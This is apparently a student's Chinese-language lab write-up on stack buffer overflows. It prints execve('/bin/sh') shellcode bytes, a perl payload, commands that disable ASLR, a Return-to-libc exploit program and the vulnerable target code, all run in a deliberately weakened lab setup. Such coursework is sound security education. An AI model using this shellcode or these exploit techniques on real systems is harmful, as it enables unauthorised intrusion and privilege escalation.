PC平台逆向破解_Advanced
一.注入shellcode并执行
1.什么是shellcode?
shellcode顾名思义就是一段为了获取交互式shell的机器指令,是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。
2.如何编写shellcode?
3.如何实现shellcode注入?
- 准备一段shellcode代码:
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
- 设置环境:
execstack指令 -s 参数:设置堆栈可执行
-q 参数:查询文件的堆栈是否可执行 结果X表示可执行
echo "0" > /proc/sys/kernel/randomize_va_space
表示关闭地址随机化
- 构造payload:
linux两种构造buf的方法:
①retaddr+nop+shellcode //retaddr在缓冲区的位置是固定的,缓冲区比较小的时候shellcode放retaddr后面 ②nop+shellcode+retaddr //缓冲区比较大的时候shellcode放retaddr前面
//nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
选择anything+retaddr+nops+shellcode 结构来构造如下语句:
perl -e 'print "H" x 32;print "x1x2x3x4x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > 4306input_shellcode
x1x2x3x4代表返回地址,我们需要改成shellcode的地址。
现在求shellcode的地址~~
注入上面的攻击buf:
新打开一个terminal,查询20144306进程号:
第一行4514即是。
调试程序20144306:
反汇编foo函数:
注意ret的位置,我们要在ret处设置断点,目的就是为了查看注入buf的内存地址来分析shellcode的地址:
0xffffd32c存放的的之前瞎猜的返回地址,实际想要的shellcode地址在0xc0319090那条code处,也就是: 0xffffd334。
然后修改之前的注入语句:
再来尝试注入:
成功~
4.再来一段shellcode注入?结合nc模拟远程攻击
这次我们需要两台主机pc1和pc2
先查看pc1的ip地址:
一定要好好设置pc1环境:
这里如果不关闭地址随机化,那么每次foo函数的地址都会随机改变,我们根本就没法预测。
在pc1上运行nc监测4306端口:
另一台主机pc2远程连接,注入buf(这个buf还是之前的buf,下面我们要对此buf进行修改):
在pc1上另开一个terminal,查询可执行文件20144306的进程号,下面步骤就和前面基本一样了,gdb编译20144306,反编译foo,查询esp位置,并计算shellcode的地址:
看到shellcode地址是0xffffd344,在pc2上修改buf:
ok,再来一次:
pc 1输入下面内容:
pc 2输入下面内容:
成功~~
二.Return-to-libc攻击深入
1.关于Return-to-libc
如果攻击者将攻击代码放在堆栈中,但目标设置了非执行堆栈技术,上面的方法就行不通。
再来看下Return-to-libc攻击方法,该方法不需要注入,而利用漏洞函数已有函数完成攻击,让漏洞程序跳转到已有的代码序列。攻击者在实施攻击时仍然可以用恶意代码的地址来覆盖程序函数调用的返回地址,并传递重新设定好的参数使其能够按攻击者的期望运行。这就是为什么攻击者会采用 return-into-libc 的方式,并使用程序提供的库函数。这种攻击方式在实现攻击的同时,也避开了数据执行保护策略中对攻击代码的注入和执行进行的防护。
2.怎么使用Return-to-libc?
- 配置32位linux环境:
- 添加新用户 hsy:
- 切换新建用户完成以下操作:
进入32位linux环境,关闭地址随机化,便于我们计算地址值
设置zsh程序代替/bin/bash,防止/bin/bash中的防护程序发挥作用:
将漏洞程序20144306retlib.c保存在/tmp目录下:
代码如下:
1 /* retlib.c */
2 /* This program has a buffer overflow vulnerability. */
3 /* Our task is to exploit this vulnerability */
4 include <stdlib.h>
5 include <stdio.h>
6 include <string.h>
7 int bof(FILE *badfile)
8 {
9 char buffer[12];
10 /* The following statement has a buffer overflow problem */
11 fread(buffer, sizeof(char), 40, badfile);
12 return 1;
13 }
- sudo su 切换身份,编译20144306retlib.c,关闭阻止缓冲区溢出的栈保护机制,并为其设置SET-UID来方便提权:
- exit回到新建用户,新建另两个c文件,分别放置读取环境变量的程序和攻击程序:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int main(int argc, char const *argv[])
6 {
7 char *ptr;
8
9 if(argc < 3){
10 printf("Usage: %s <environment var> <target program name>
", argv[0]);
11 exit(0);
12 }
13 ptr = getenv(argv[1]);
14 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
15 printf("%s will be at %p
", argv[1], ptr);
16 return 0;
17 }
//读取环境变量
//编译一下
1 #include <stdlib.h>
2 #include <stdio.h>
3 #include <string.h>
4 int main(int argc, char **argv)
5 {
6 char buf[40];
7 FILE *badfile;
8 badfile = fopen(".//badfile", "w");
9
10 strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
11
12 *(long *) &buf[32] =0x11111111; // 查询BIN_SH的地址后放入
13 *(long *) &buf[24] =0x22222222; // 查询system()的地址后放入
14 *(long *) &buf[36] =0x33333333; // 查询exit()的地址后放入
15 fwrite(buf, sizeof(buf), 1, badfile);
16 fclose(badfile);
17 }
//攻击
//不要忘记编译
- 利用20144306getenvaddr来获取BIN_SH的地址:0xffffde1e
- 利用gdb来获得system和exit的地址:
观察到system地址是:0xf7e2eb30,exit地址是:0xf7e227e0
- 回过头来,打开20144306exploit.c进行如下修改,填写查询到的三个地址:
- 删除刚才调试编译的 20144306exploit 程序和 badfile 文件,重新编译修改后的 20144306exploit.c:
- 先运行攻击程序20144306exploit再运行漏洞程序20144306retlib
成功~~
三.本期收获
对shellcode有了初步了解,刚开始做实验不知道自己在干什么,然后在失败中渐渐明白为什么要做这一步以及不做会有什么后果,比如不关地址随机化就没法预测地址,失败次数多了,步骤重复地都能背下来了,这个实验在后门实验后面做的,后门用到了ncat,这里又将shellcode和ncat结合做了个小实践也很有意思,单一的攻击很软,只有多种攻击方式结合才会让目标无所适从,第一次了解Return-to-libc攻击,三个攻击代码都是别人写好的,拿出来用很简单,但是真正理解然后自己仿制却需要更多时间,希望今后能力会有更大提升,先写到这里,这篇应该还可以完善~~